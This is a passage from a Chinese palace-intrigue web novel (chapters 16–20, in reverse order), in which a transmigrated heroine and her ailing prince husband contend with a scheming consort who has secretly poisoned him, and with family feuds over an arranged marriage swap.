吕氏因为没有办好丈夫嘱托的事情,愧疚的低下头,“如今咱们虽然知道上官先生回了京城,但还不知道他的落脚处,不然咱们先打听一下他的落脚处后,再打听他的喜好送礼?”
苏建明眉头紧紧地皱在一起,语气沉沉,“见面礼一定要贵重,拜师之后,承儿再按喜好送一些礼品,这才是为徒之道。”
说到这里,苏建明看着吕氏,语重心长的叹气,“我知道让夫人向岳母开口的确为难你了,但如今咱们还是要以承儿的前途为重啊,夫人不要为了那点面子,就放弃承儿的前程啊,你再去同岳母说说,想来她心疼外孙,是会松口的。”
吕氏为难的张了张嘴,但是对上丈夫的眼神,又不忍心拒绝,只能颔首应声,“行吧,那稍后妾身再去一趟伯府。”
苏建明见吕氏应下来,欣慰的笑着把吕氏搂在怀中,“如今为夫官拜二品,已经无憾了,唯一在意的就是夫人和两个孩子的前程,等两个孩子都有了一个好前程,咱们夫妇二人就归隐乡野,做一对无忧无虑的平凡夫妻,如何?”
“这样已经很好了,妾身不妄求其他。”吕氏把头贴在苏建明的胸口,“老爷这些年不曾纳妾,妾身早已是这京城贵妇们羡慕的对象了。”
“这是为夫答应你的,当然要说到做到。”苏建明说完推开吕氏,“时辰不早了,我还得回工部当值,夫人记得再去伯府走一趟。”
吕氏应了一声,亲自把苏建明送出苏府。
与此同时,苏清欢如一个青楼女子一般放下身段取悦了萧景宴,然后气喘吁吁的躺在萧景宴的怀中,她的手指放在萧景宴的胸前打圈,语气如丝,“殿下,咱们府上与上官先生是否有些交情啊?”
刚刚得到满足的萧景宴闻言皱了皱眉头,“上官清泉?”
听萧景宴一下就说出上官清泉的名字,苏清欢眼中一喜,连忙点头,“对,就是上官清泉。”
“上官清泉可是当今帝师的师父,即便府上与他有交情,那都是我祖父的事情了。”萧景宴垂眸看了苏清欢一眼,眉头微挑,“你怎么想起问他了?”
“兄长不是要秋闱了吗?想拜他为师,又没有门路,所以想从世子这里打听打听。”苏清欢放软声音,柔柔的说道。
“哈哈。”萧景宴一把推开苏清欢,赤着身子站起来,随意拿起床上的衣裳穿在身上,语气却满是嘲讽,“你们苏家还真是能异想天开,你说上官清泉为什么不当帝师,是因为他资格不够吗?”
苏清欢一噎,他的弟子都能当帝师,当然不是资格不够,而是不愿意。
世子这明显是再说苏家不配...
萧景宴轻蔑的睨了苏清欢一眼,嗤笑了一声披着衣裳离开了。
看着披着衣裳离开的萧景宴,苏清欢眉头微蹙,她垂眸看着一丝不挂的自己,咬住了嘴唇,她把他伺候舒服了,他却对她的身体无动于衷?
可前几夜,他明明很主动的啊?
就在苏清欢纠结不已的时候,已经离开的萧景宴又倒了回来,苏清欢面上一喜,喊了一声世子。
萧景宴看着她的酮体,眉头微蹙,沉声道:“你是国公府的世子夫人,不是青楼女子,今日这种事情,我不想再遇到第二次,明白了吗?”
苏清欢心头一沉,连忙拉着蚕丝凉被遮住身子,“妾身知道了,今后妾身定然不会再犯这种错误。”
萧景宴嘴角这才带起笑意,他上前捏了捏苏清欢的脸颊,眉头微挑,“夫人想要,为夫晚上在满足你,这大白天的,的确有失体统。”
苏清欢闻言,心头那点疑惑瞬间消失不见,一下子被甜蜜填满,她羞怯的对萧景宴点头,“妾身知道了,先前是妾身失礼了。”
第20章 你看我想和你们玩吗?
“我总感觉事情没有我们想的那么简单,楚御礼那个短命鬼以前说两句话都会喘个不停。”慧贵妃转身往殿内走,“可今日他说了那么多话,却半点不见气短。”
跟在慧贵妃身后的楚明暄听母妃这么说,也感觉到了楚御礼的不同,他的脸色当即变得难堪起来,语气也低沉了不少,“难道楚御礼发现了下毒之事?”
“那毒很隐秘,太医院的人收了我们的好处会把他的病情守口如瓶,而他身边最亲近的人又被我们买通了,他每次就医只会得到一个胎弱的结果,不可能被发现的。”慧贵妃面色沉沉,“况且这些日子并没有听到那人传信说楚御礼单独去见了外面的大夫。”
“难不成还真是因为冲喜的原因,让他的毒忽然都消失了?”楚明暄说到这里忽然笑了,“若真是这样的话,儿臣就把他那冲喜的新娘抢过来...”
“胡闹!”慧贵妃回头瞪了楚明暄一眼,厉声道:“你是真的不想要皇位了是吗?”
本就不聪明,心思还都不放在正途上,明明和楚御礼前后几天出生,脑子却比不上楚御礼半分!
慧贵妃想到这里就来气,“你若有那短命鬼半分脑子,当初本宫也不至于想到这么一个铤而走险的办法来!”
“哼,母妃就是太仁慈了,若你当初直接弄死那杂种,哪儿会有如今的烦恼?”楚明暄不仅没有半点心虚,反而转过身来责怪慧贵妃,“母妃你如今面对的一切,都是你自己造成的。”
“逆子!”慧贵妃刚想骂人,又想到如今在行宫,她看了一眼自己的心腹嬷嬷,心腹嬷嬷立刻会意,转身出去,关上了殿门。
等殿门关上,慧贵妃才继续道,“这才是最不让人怀疑上我们的办法!若当初直接把那祸害弄死了,你以为镇国侯府和你父皇是吃素的?到时候不仅是本宫和你会被揪出来,就连相府都会被牵连!”
说到这里,慧贵妃忍不住斥责道,“你那点心思能不能别整日都想着女人,想点正事行不行!”
“知道了。”楚明暄不耐烦的用手指掏了掏耳朵,“既然如今都在这行宫中,想要看看那短命鬼的身体如何了,还不简单吗?直接弄点毒,让那短命鬼倒下,派个太医去瞧瞧不就行了。”
慧贵妃看着楚明暄不说话了。
......
楚御礼和姜黎婳二人从太后的居住的宫苑出来后,没有立刻回他们居住的宫苑。
今日天气热,湖边凉快,所以提议道湖边的长廊上走走,站在长廊中微风从湖面出来,吹散了夏日的燥热,姜黎婳在长廊边坐下,面朝湖面吹着凉风,嘴角牵起浅浅的弧度,“先前谢谢殿下了。”
先前若不是楚御礼的话,她很可能需要费一些口舌来解释自己为何叫姜黎婳了。
楚御礼知道她在谢自己什么,他扬了扬眉梢,走到姜黎婳身边坐下,学着她的样子迎面垂着湖上吹过来的凉风,语气如春风一样和煦,“你记住,你是我的娘子,我相信你并且接受你的一切,还有我会一直站在你的身后,成为你的后盾。”
楚御礼说到这里,偏头看着姜黎婳,眼神坚定,“所以姜黎婳,你在面对别人对你的质疑时,无需自证,知道了吗?”
姜黎婳心头一震,她微微侧首,一下子撞进了他眼中那漆黑的漩涡之中,她的思绪也随着飘远了。
其实她前世的命运和原主有些相似,所以在看到原主被人害死的时候,才那么生气。
前世她在养父母家中过得很好,养父母把她培养成了射箭运动员,她很争气,在国际锦标赛中多次拿到冠军为国争光,甚至得到了国家的保送上了国内最好的学府,可是就在她功成名就之时,她的亲生父母找来了。
他们是豪门,家中还有一个代替她在他们身边生活了二十年的女儿。
他们找到她,不为别的,只为联姻,为他们岌岌可危的公司找到注资。
她拒绝了,他们就想办法给她下药,让她差点被那个他们口中所谓的佳婿强暴,她费劲力气逃了出来,回到学校...
从那之后她就有了一点心理疾病,她没法与人接触,不敢相信别人。
直到她被车撞,成为如今的姜黎婳。
父亲和哥哥慢慢治愈了她,让她不再抗拒与人接触,但她却明白,她依旧抗拒与异性有亲密接触,即便只是想想,都觉得恶心。
这也是为什么,她才几岁就去求着师父,想要跟着师父学医术的原因,她想若真的嫁给了萧景宴那个变态,那变态敢像对待原主那样对她的话,那她就用银针扎死他,银针能救人,也能让人死得神不知鬼不觉,这样也算是为原主报仇了。
但是,苏清欢却重生了,要和她换亲...
而她竟然与刚见第一面的丈夫,有了肌肤之亲...并且她的身体和心理并没有产生很强烈的抗拒和排斥...
“在想什么,想得这么出神?”楚御礼低沉又富有磁性的声音唤醒了姜黎婳。
她回神看着楚御礼那近在咫尺的容颜,眼里浮现丝丝笑意,“我在想缘分有时候真的很奇妙。”
她在成亲之前其实都从未想过自己会嫁给楚御礼,甚至不敢想自己竟然还能从那件事情上得到快乐。
而且,会得到一个如此护着她的夫君。
这一切都是眼前这个男人给她的。
听姜黎婳这么说,楚御礼知道今天自己所做的一切一定是取悦她了。
他抿嘴微微一笑,伸手抓住了姜黎婳撑着木板的手,低声道:“我也觉得缘分很奇妙,更从未想过,我会娶到你。”
我心心念念的那个姑娘。
姜黎婳偏头,眼神亮晶晶的。
楚御礼看着她近在咫尺的美丽容颜,觉得这时候若是不一亲芳泽,那就是浪费了良辰美景,他头微微向前靠近,往姜黎婳的嘴唇靠近...
姜黎婳眼前被阴影遮盖,她的手指紧紧地掐着手心,在看到对方睫毛的时候她闭上了眼...
“大皇兄!”一个爽朗的声音打断了静谧暧昧的气息。
站在不远处的铃铛和知夏对视了一眼,搓了搓自己有些发红的脸颊。
昭临则握着拳头轻轻咳嗽了一声,然后一脸同情的看向从湖心岛过来的几个公主和皇子,心想:‘呵,坏了大皇子的好事,一会儿有你们好过的。’
姜黎婳在听到人喊楚御礼的时候,她就拉开了和楚御礼的距离,她站起转身一气呵成。
楚御礼无奈地看了一眼姜黎婳的后脑勺,抬手轻轻地擦了擦自己的嘴角,这才起身回头,沉着脸看向喊自己的人,“有事?”
三皇子楚巍澜笑容爽朗,声音明亮,“我们在湖心岛玩投壶呢,见大皇兄在这儿,就想着过来请你一起过去玩。”
楚御礼脸一黑,语气凉凉的问楚巍澜,“你瞧着孤这样子是像是想和你们玩投壶的样子吗?”
第19章 那个短命鬼一定会死
此时楚御礼手中若是有一把匕首的话,他一定会把楚明暄的眼睛给挖了,可惜,没有。
他眼神冰冷的盯着楚明暄,“二弟刚刚不是好奇我们在说什么吗?”
楚明暄眼睛一转,语气吊儿郎当,“说什么?”
楚御礼看了慧贵妃一眼,“说给你娶一个媳妇。”
楚明暄一下子来了兴趣,他看向慧贵妃,“母妃,你看上哪家姑娘了?漂不漂亮?先说好,不漂亮的儿臣可不要!”
慧贵妃狠狠地剜了楚明暄一眼,她简直要被这个儿子气死了,他这德行,有点骨气的官员家中都不愿意把女儿嫁给他!
瞧瞧他这副德行!三言两语就被别人转移了注意力!
整日不干正事,成事不足败事有余,做了什么事情多数都要让自己来擦屁股,朝中官员有点实权的都不愿意把女儿嫁给他!
想到这里,她又忍不住狠狠地瞪了楚明暄一眼,沉声道:“你别听你大皇兄胡说,你的婚事...”
皇后笑意温柔地打断慧贵妃的话,“慧贵妃昨儿个还说要把二皇子你最喜欢的那花魁娘子赎身送到你二皇子府上去给你当通房呢。”
楚明暄眼睛一亮,也顾不上媳妇儿了,当即问慧贵妃,“母妃,当真?”
“胡闹!”太后手上使劲往手边的高几上一拍,目光狠狠地扫了慧贵妃一眼,厉声道:“楚明暄不懂事也就罢了,你这个当母妃的也跟着胡闹?纳一个青楼女子当通房?你这是要文武百官都看我们皇室的笑话吗?”
太后说完,直接撵人,“你们母子两人都给哀家出去,哀家现在看到你们就心烦!”说完又警告楚明暄,“哀家若听到你再去勾栏院,哀家让人打断你的腿!”
在太后这里吃了瘪,慧贵妃也不愿意多待,带着楚明暄起身就离开了,和慧贵妃一党的那些妃嫔也找借口离开了,片刻间整个宫殿之内,就只剩下皇后、贤妃、淑妃和姜黎婳夫妇了。
这时候翠娘抱着一个红木盒子走了出来,笑着放在高几上,“太后娘娘最是珍爱这副头面了,藏得可好了,奴婢可找了好一会儿呢。”
说着就把红木盒子打开,里面红宝石的黄金头面闪闪发光。
太后笑着站起身来,拉着姜黎婳笑着道:“这副头面就要你这样年轻漂亮的姑娘戴着才好看,丫头你瞧瞧喜不喜欢?”
“这太贵重了,孙媳不敢收。”姜黎婳有些惶恐。
她若收了这副头面的话,怕要成这宫中的众矢之的了吧?
“有什么不敢收的?”太后知道姜黎婳的顾虑,当即脸色一沉,“其他人想要哀家的赏赐,那倒是做点好看的事情来啊,他们是能让哀家孙儿的病好起来?还是能让哀家开心了?你尽管拿着,谁要是敢因为哀家赏赐了你,就找你麻烦,那哀家第一个不放过他。”
“皇祖母给你,你就收下。”楚御礼在一旁道。
皇后也对姜黎婳点头,“安心收下,等回去后,你再和御儿去镇国侯府走一趟,让你外祖母和舅母她们再给你送一些见面礼。”
太后听了皇后这话,面上又挂起笑意,“你还真是谁都不放过。”
“谁让婳儿讨喜呢。”皇后笑了。
......
“大皇子妃真是好福气呢,那套红宝石的黄金头面可是价值连城的。”一身淡绿色宫装的淑妃一脸艳羡的感叹,“我还是第一次见太后娘娘这般大方呢。”
说着回头看了一眼面上带笑,却一直没说话的贤妃,“当初和嘉公主嫁到南诏和亲,太后都没送这么贵重的头面呢。”
贤妃听淑妃这么说,面上的笑容立刻淡了几分,她抬眸看了一眼淑妃人畜无害的笑容,轻声道,“妹妹慎言,太后娘娘自己的私产,她想送谁,是太后娘娘的自由,我们岂能妄议?”
淑妃撇嘴,眼底闪过一丝不满,“我就是为姐姐不平啊,和嘉公主嫁到南诏,那是为了咱们楚国,她这嫁出去,将来还能不能回来见姐姐一面都难说,太后娘娘送一副红宝石头面怎么了?”
“妹妹别说了。”贤妃说着往湖边的长廊走去,“若让有心人听了去,还以为妹妹你是在挑拨我与皇后的关系呢。”
淑妃面上的表情一僵,接着扯了扯嘴角跟上贤妃的脚步,“姐姐可别胡说,妹妹就是见太后娘娘送大皇子妃一副那样的头面,忽然有感而发罢了。”
“一副头面罢了。”贤妃嘴角微微勾了勾,回眸看了淑妃一眼,“我会缺那副头面的钱?”
她送大皇子和大皇子妃的新婚贺礼虽然没有那副头面实用,但是绝对不比那副头面便宜,她根本不在乎那三瓜两枣儿。
反倒是淑妃今天这话有些奇怪...
平日里淑妃可什么好的都想着皇后的,今日不过因为太后送了一套头面给大皇子妃就吃味了?
“姐姐的确不缺。”淑妃讪讪的笑了笑,她正要错开话题,忽然听到湖中央传来一阵嬉笑声,她抬眼看过去,正好看到几个皇子公主在湖中小岛的山上玩闹,她站起来往那边眺望,“好像是澜儿他们。”
“我有些乏了,妹妹也好几日没见三皇子了,你去和三皇子叙话吧,我就先回去休息了。”贤妃往湖心岛看了一眼,兴致缺缺的站起来往长廊另一边走去。
看到她起身离开,远远跟着的宫女这才上前跟着她一同离开。
淑妃望着离开的贤妃,眉头微微皱了皱,这时候她的贴身宫女走了过来,低声问,“娘娘,咱们要去湖心岛吗?”
“天太热了,你让人去给澜儿传话,让他晌午去本宫院子用膳吧。”淑妃说罢也朝着长廊的另一个方向而去。
另一边。
慧贵妃带着楚明暄回到自己的宫苑,不等楚明暄回过神来,抬手就是一巴掌落在楚明暄脸上,“本宫警告过你多少次了!管住你自己!你喜欢玩,府上的婢女和侍妾还不够你玩?你还去勾栏院那种地方!如今把柄都落在了那个短命鬼手里!还闹到了太后面前!你是真的想要你父皇对你彻底失望吗!”
“母妃这么生气做什么!”楚明暄莫名其妙被打了一巴掌,满脸不悦,他抬手擦了擦被打的那张脸,“那个短命鬼就算抓住我的把柄又如何?他难道还有那个命和我争不成?”
“你没看今天那个短命鬼的脸色都好看了很多吗?”慧贵妃双手死死的捏着,她脸色冰冷,“若那短命鬼死不了了呢?”
“这不可能!”楚明暄眼睛一眯,低声道:“母妃你当初说过,那个短命鬼一定会死的!”
慧贵妃见楚明暄脸上露出的阴狠之色,厉声道:“你这副德行,他即便是死了,也是替他人做嫁衣!你好好看看三皇子和四皇子两个人,再看看你自己!”
“就凭那两个窝囊废还想与我争?”楚明暄冷哼了一声,“等那短命鬼死了,我再送其他两个上黄泉!”
第18章 大皇子从不让自己受委屈
这一夜,姜黎婳睡得很好,她甚至惊疑自己竟然在没有累到昏睡过去的前提下还可以在一个男人身边安稳的睡着。
楚御礼也睡得还不错,除了一开始的燥热难耐,后面她身上的馨香倒是成了他的助眠药。
两人一同洗漱穿戴好,楚御礼去让人准备早膳,姜黎婳则在知夏的伺候下梳妆挽发。
用了早膳两人相携出门。
今日,楚御礼一身暗红色的蟒纹锦服衬得他脸色红润,气势强盛,姜黎婳则身着玫红色的束腰长裙,外面搭着白色透明细纱长衫,两人相携而行,郎才女貌,实在让人赏心悦目。
两人到太后居住的宫苑时,殿内已经吵杂声一片了,是皇后和各宫嫔妃早到了。
姜黎婳用手帕擦了擦手心的汗水,原书中对于皇室的描写很少,写得多一些的就是皇后和苏清欢之间的对手戏,今天是她头一次面对这么多皇室中人,难免有些紧张。
好像察觉到了姜黎婳的情绪,楚御礼伸手牵住她带汗的手,低声道:“别紧张,皇祖母人很慈祥的。”
姜黎婳扯了扯嘴角,心想:那是对你!你是她嫡亲的孙子,又是一个活不过二十岁的孙子,她对你肯定万般慈爱了!
对她就不一定了。
两人走进去,殿内的嘈杂声一下子消失了。
太后坐在高位之上,她满头华发梳得一丝不苟,发髻上用几只朱钗点缀,身上穿着绣了金凤的黑色宫装,颈上带着翠绿的翡翠项链,见两人从殿外走来,她正面带笑意的看着两人,等两人靠近了,才朝两人招了招手,笑道:“御儿快过来。”
楚御礼带着姜黎婳走上前跪下给太后见礼,太后笑着让两人起来,目光落在姜黎婳带着浅笑的脸上,她满意的点头,“你就是御儿的新妇了吧?生的真好。”
坐在太后身边的皇后闻言笑着接话,“这丫头啊不止生的好,福气也好,钦天监说她能给御儿带来福泽的时候,臣妾还不信,可如今啊,臣妾不得不信了,母后您瞧御儿那脸色是不是比之前好看多了。”
太后原本只想随便赏赐姜黎婳一些头面当见面礼的,听皇后这么一说,她认真的打量起了楚御礼的脸色,见楚御礼的脸色不似以往那般苍白,而且红润了不少,她当即面上带了喜色,“的确,看来这丫头是个有福气的。”
说罢朝姜黎婳招手,“丫头,你过来。”
姜黎婳侧首看了楚御礼一眼,楚御礼嘴角带着浅笑,轻轻地拍了拍她的后背,语气带着一丝安抚,“去吧。”
姜黎婳往前走了几步,走到太后面前,太后抬手牵着她柔弱无骨的柔夷,笑着道:“皇祖母一看就知道你是一个有福气的好孩子。”
她顺手把手上羊脂白玉的手镯取下来戴在了姜黎婳的手上,接着抬手把自己脖子上那碧绿的翡翠项链也取下来戴在了姜黎婳脖子上,这还没完,头上的朱钗通通取了下来,一个劲儿往姜黎婳的头上插,然后对自己的贴身嬷嬷道:“翠娘,去把哀家床尾柜子里的那副红宝石头面给取来送给婳儿丫头。”
还没等姜黎婳说话,坐在一旁的慧贵妃却坐不住了,“太后娘娘,您倒是大方,就是不知道有些人配不配呢。”
姜黎婳:“......”
这么针对的吗?
皇后的脸色一下就沉了下去,她偏头看了慧贵妃一眼,冷声道:“那慧贵妃倒是给二皇子娶一个配得上他的皇子妃回来啊,本宫相信,若二皇子也娶回来这么一个有福气的皇子妃,太后娘娘定然会一视同仁的。”
并不是那么愿意一视同仁的太后瞥了一眼皇后,然后看向慧贵妃,沉着脸问,“你倒是给哀家说说,她为何不配?”
“一个乡下长大的野丫头,如何配得上?”慧贵妃冷冷地扫了姜黎婳一眼,语气不屑,“那苏家之前还对外说她不过是远房亲戚,后面就说是什么双生女了,她若真的是苏家女儿,为何如今还姓姜?我看啊,这分明是苏家偷梁换柱对外的说法罢了!”
说到这里还哼了一声,“我看苏家啊,就是知道咱们大皇子命不久矣,所以随便找了个野丫头代替自己的亲女儿嫁过来罢了!”
这话一出,太后和皇后脸色顿然下沉,其他嫔妃则大气不敢出。
姜黎婳眉头微蹙,她之前就想过皇室可能会用换亲的事情找她麻烦,只是没想到,找她麻烦的不是皇后,而是慧贵妃。
姜黎婳正欲开口,楚御礼却先她一步,把她护在身后,面色冰冷的看着慧贵妃,“慧贵妃对这事儿好像很了解?难道你也参与其中了?”
“本宫不过是就事论事罢了,大皇子可不要这么着急地胡乱攀咬。”慧贵妃冷笑,她垂眸看了一眼自己指甲上的丹蔻,“本宫也是好心提醒大皇子即便病急也不要乱投医,免得冲喜不成,反倒引狼入室呢。”
“孤的皇子妃孤自然一清二楚,就不劳贵妃多费心了。”楚御礼说着话音一转,挑眉道:“倒是二弟,常年流连烟花之地,那个地方除了美人多,花柳病的患者多之外,还有就是他国细作多,贵妃可要仔细点,别让二弟娶回一个他国细作回府,若真那样,可就丢了我们皇室的脸了。”
“大皇子慎言!”慧贵妃气急地拍了一下桌子。
楚御礼挑眉,“孤不过是就事论事罢了,也是好心提醒贵妃好好管束放荡的二弟,不要犯下大错之后才追悔莫及,贵妃急什么?”
“你!”慧贵妃被气得说不出话来。
这宫中所有皇子公主中,也只有他这个知道自己时日不多的大皇子敢当年呛声她这个贵妃了!
姜黎婳在心头给楚御礼使劲鼓掌!
这简直就是精准狙击啊!
专门往人痛处打!
皇后也一副出完气之后神清气爽的表情。
太后则脸色沉沉地瞪了慧贵妃一眼,“你就...”
“这么热闹啊,在说什么?”一个中气不足的声音在殿外响起,直接打断了太后的话,姜黎婳回头看过去,一个眼下乌青,脚步虚浮的华服青年从外面走了进来。
他生了一张英俊的脸,不过那脸一看就是玩乐过度的模样,人有些瘦了,那华服穿在身上,感觉都撑不起来。
太后看到他这模样气更是不打一处来,“瞧你这样子,昨晚去哪儿鬼混了?”
楚明暄握拳咳嗽一声,有些心虚,难道昨夜他在后山与那个小宫女幽会的事情被人发现了?
“孙儿没有鬼混,只是起来晚了。”楚明暄嬉皮笑脸地给太后行了一礼,但目光却落在了姜黎婳脸上,看到那张艳丽妖冶的容颜,他忍不住吞了吞口水,问,“这是谁家小娘子,竟然生得如此貌美,以前从未见过啊!”
“二弟越来越没规矩,也越发不成体统了。”楚御礼退了一步,直接挡住楚明暄的视线,语气凉薄地说道:“见了自己的大皇嫂不行礼问安,竟还敢出言不逊?”
“孽障,你给哀家滚出去!”本来就对慧贵妃心怀不满的太后直接端着茶杯就朝楚明暄砸了过去。
楚明暄跨步躲开,再次跳到能看到姜黎婳全貌的地方,笑着道:“原来是大皇嫂啊!是弟弟眼拙,刚刚失礼了,还请大皇嫂不要往心里去啊!”
话虽然这样说,但看姜黎婳的目光依旧轻浮。
第17章 把自己媳妇儿当宝有什么错?
姜黎婳在昏昏欲睡中被楚御礼喊醒,她挣开朦胧的眼睛,迷茫的看了一眼近在咫尺的俊俏容颜,“嗯?怎么了?”
“睡糊涂了?”楚御礼轻笑了一声,“到了,下车吧。”
姜黎婳这才想起他们今天出发到京郊行宫避暑来了。
在知夏的搀扶下姜黎婳下了马车,站在巍峨的行宫门外,她无声感叹了一句,果然还是古代的皇室才会享受!
“哟,这就是咱们的大皇子妃啊?”一个尖锐清亮的声音在姜黎婳身后响起。
姜黎婳回头看去,是一个装扮华丽,容貌漂亮的中年妇人,她猜这应该是皇上的其中一个妃子。
楚御礼一步上前把姜黎婳护在身后,而后对着那人微微拱手,“慧贵妃。”
“这大皇子妃是林中精灵不成?见不得人?”慧贵妃眼神锐利的看了楚御礼一眼,冷笑,“需要大皇子这般藏着护着?”
楚御礼眉头一皱,正要说话,手却被人轻轻握住,接着姜黎婳从他身后走了出来,她对着慧贵妃屈膝行礼,“见过贵妃娘娘。”
“的确是一个不得多见的美人儿。”慧贵妃挑了挑眉梢,“也是能见人的,本宫还以为你真的被苏家养在乡下给养废了,不知礼数了呢。”
“怎么本宫一下马车就听到慧贵妃在训人了。”皇后凉凉的声音传来,众人看去,她由佩蓉扶着快步走了过来,面上带着漫不经心的笑容,“本宫的儿媳妇怎么惹到慧贵妃了?让你如此动怒?”
慧贵妃瞧着皇后走过来把姜黎婳护在身后的模样,轻笑了一声,“这大皇子妃到底是什么宝物啊?竟然让皇后娘娘和大皇子都这般护着?这知道的人晓得这乡下来的丫头是给大皇子冲喜的皇子妃,不知道的还以为你们娶了个仙女回来供着呢。”
这就明显暗讽皇后和楚御礼把想来下来的野丫头当宝。
皇后眉头随着慧贵妃这话皱了起来,她正欲开口,楚御礼就冰冷的说道:“孤把自己的媳妇儿当宝有什么错?好过二弟把青楼的花魁娘子当宝的好,慧贵妃与其在这儿关心孤的家务事,不如管好二弟,听闻如今在青楼染了花柳病的男子不少,您也不怕二弟也染了脏病。”
楚御礼说完拉着姜黎婳大步离开,让慧贵妃想骂人都找不到机会。
皇后瞧着损完人就走的儿子,眼里闪过无奈的笑意,嘴上却道:“慧贵妃别生气,你也知道御儿这些年随性惯了,他不是故意把他二弟那些丑事说出来让你难堪的。”接着脸色变得严肃,“但是御儿有些话说的没错,二皇子年纪也不小了,的确不应该乱来,皇室的名声可不能被他给败坏了!堂堂二皇子,整日流连烟花之地,的确不像话!”
慧贵妃双手死死地握着,她冷冷地瞪了皇后一眼,冷笑道:“皇后娘娘教训的是,臣妾回头定然好好的规劝二皇子。”
“花魁而已,若是喜欢,纳回府上当个暖床的也不是不行,何苦去青楼与人共享。”皇后说罢似笑非笑的看了慧贵妃一眼,“慧贵妃你也别小气,拿点银钱帮二皇子给人赎身,也是为二皇子的身子着想。”
“这就不劳皇后娘娘费心了!”慧贵妃说罢长袖一甩,转身大步离开。
跟在慧贵妃身后的那些妃嫔赶紧慌乱的给皇后行了礼快步跟着离开。
贤妃和淑妃两人等众人走远之后才走过来皇后身边站定,淑妃眼唇轻笑,“说会气人,还得是咱们大皇子和皇后娘娘。”
站在两人身后的玉嫔低声道,“大皇子那样说二皇子,会不会得罪慧贵妃了?这慧贵妃不会趁着娘娘和大皇子不在的时候,为难大皇子妃吧?”
皇后回眸看了眼没什么存在感的玉嫔,轻笑道:“你刚刚也看到了,即便御儿不得罪她,她依旧会为难婳儿,那何苦委屈了自己。”
她的御儿本就是被判了死刑的苦命孩子,活着的时候为何还要受委屈?
这边姜黎婳也同样很担忧,跟着楚御礼一路到了他们二人住的院子,姜黎婳才低声道,“你这样直接得罪了那贵妃,就不怕她给你使绊子?其实刚刚忍忍也就过了,不过是被人说两句而已,殿下何必为了我,去得罪贵妃?”
“忍?”楚御礼好像听到了什么新鲜词一样,他笑着摇了摇头,伸手抚平姜黎婳微微皱起的眉心,“为夫从五岁开始就不知道忍为何物,她既然闲得没事儿,那就去管她儿子的事情好了。”
姜黎婳觉得他可能是在开玩笑,毕竟生在皇家,再怎么随意,学习的东西也和普通人不一样,即便他是一个五岁就被太医定了死刑的皇子,那该学的君子之书应该一样不少。
“休息吧,明日一早还要去给皇祖母请安呢。”楚御礼轻轻地拍了拍姜黎婳的头发。
他自然知道姜黎婳在担心什么,看来他不能再坐以待毙了,他要变强!要强得让婳儿即便在宫中行事也无需有顾虑!
因为行宫外发生的事情,他倒也没有再提让姜黎婳观赏他昨夜一夜没睡练出的成果了。
姜黎婳不知道楚御礼的心中所想,跟着知夏去了隔壁的盥洗室洗漱。
他们成亲的时候,太后已经出宫避暑了,所以第二日并未去太后宫中给太后行礼问安,今日过来了,明早的确应该去给太后问安。
楚御礼以为自己躺在姜黎婳身边可能会睡不着,谁知躺在她身边闻着她身上独有的馨香,搂着她纤细的腰肢,脑海中虽然有些旖旎的想法,却比一个人在书房睡着好受多了。
如一条死鱼一样被楚御礼搂在怀中的姜黎婳感受到楚御礼的变化,她是一动不敢动,若楚御礼想要行房事的话,她不会拒绝,毕竟他们是夫妻,而他也很温柔...
给自己做了一些心理暗示之后,姜黎婳低声道:“殿下,其实你不可用忍的...”
“我没有忍。”楚御礼声音有些沙哑,“睡吧。”
在她额头上轻轻的闻了闻,楚御礼哑着声道:“为夫昨夜没睡,今天又赶了一天路,娘子也体谅一下为夫这个病患可好?下次再给你。”
姜黎婳耳朵一红,直接闭嘴。
明明是他身体有了变化,她才说那话的,怎么最后变成了她是欲求不满的那个人了?
感受到姜黎婳总算是放松了身体,对他也没了先前的防备,楚御礼嘴角微微翘了翘,能让她放松对他的戒备,并且这样放松的与他同床共枕,自己多忍忍也没什么的。
第16章 被永宁伯老夫人赶出门
定国公府。
苏清欢坐在浴桶之中,看着自己身上比前几日更重了一些的痕迹,脑海中努力去想昨夜的情事,可无论怎么回想,都只能想起萧景宴愉悦她的画面,再后来他们真的进行夫妻之实的事情就完全想不起来。
但好像在梦中,他们夫妇的确翻云覆雨。
她身上的痕迹也在提醒她,世子昨夜与她的确有鱼水之欢。
想到昨夜萧景宴黑着脸对待她的模样,她有忍不住提心吊胆,难道因为楚御礼那个短命鬼打了他,所以连她一起迁怒了?
不行不行,她一定要抓住世子的心!将来世子只会独爱她一人的!
她一定要做点什么才是。
想到这里,苏清欢没有了泡澡的心思,她猛地从浴桶里面站起来,喊道:“雪儿,进来伺候我更衣。”
雪儿从外间疾步走进来,进来就看到苏清欢身上的痕迹,她拿着帕子上前轻轻地给苏清欢擦身,“夫人,您身上的痕迹...”
“多嘴。”苏清欢瞪了雪儿一眼,“世子如今心思都在本夫人身上,你应该高兴才是。”
雪儿垂着头应了一声,继续伺候苏清欢更衣。
梳妆穿戴好,苏清欢往外看了一眼,瞧着日头正大,她眉头微蹙,“知道世子去哪儿了吗?”
“世子像是出门了。”
苏清欢眉头皱了皱,片刻之后站起身,“你世子院中的小厮那里打听打听世子的喜好。”
与此同时,永宁伯府中。
永宁伯老夫人胡氏坐在高位上看着带着儿子回来就一直在数落自己亲生女儿的吕氏,她眉头紧紧皱起,冷声道:“你对她尽过几日当母亲的责任?就想着她来孝敬你?”
对于苏清欢那个外孙女,胡氏从小就喜欢不起来,后来得知那不是自己的亲外孙女之后,她才知道了自己不喜欢那孩子的原因。
而自己这个女儿像是被猪油蒙了心一样,宁愿要一个不知来处的人当女儿,也不愿意去找自己的亲生女儿。
“当初若不是我坚持一定要去找婳丫头,你根本就不想找,你现在还想要她孝敬你?”胡氏那上了年纪却依旧不失风华的脸上露出嘲讽,“你在想屁吃呢?”
吕氏被自己的母亲说得连连低头,坐在一旁的苏承印和苏继业听不下去了,苏承印道:“我们苏家对她虽然没有养育之恩,却是让她嫁到了大皇子府的!就凭这一点,她就该感恩戴德一辈子!”
“我呸!”胡氏立刻把炮火对准了两个外孙,她冷着脸道,“你们兄弟两人脑子是被雷劈了?你忘了她能嫁给大皇子,那是她自己选择的出生时候选对了!若没有她那生辰八字,你们苏家还妄想出个皇子妃?做梦吧!”
苏承印蹙眉,依旧嘴硬,“她不回来的话,清欢一样可以嫁给大皇子!”
“还不是用她的生辰八字。”胡氏语气不善,“没有婳儿的生辰八字,就凭那个不知来处的野种,她还妄想能嫁给大皇子?”
“母亲!”吕氏面色不好的站了起来,“您为何总是看清欢不顺眼?她这些年对您孝顺有加,当初您不喜欢她,她心伤了好些日子,您怎么就不能把她当亲外孙女来疼爱呢?”
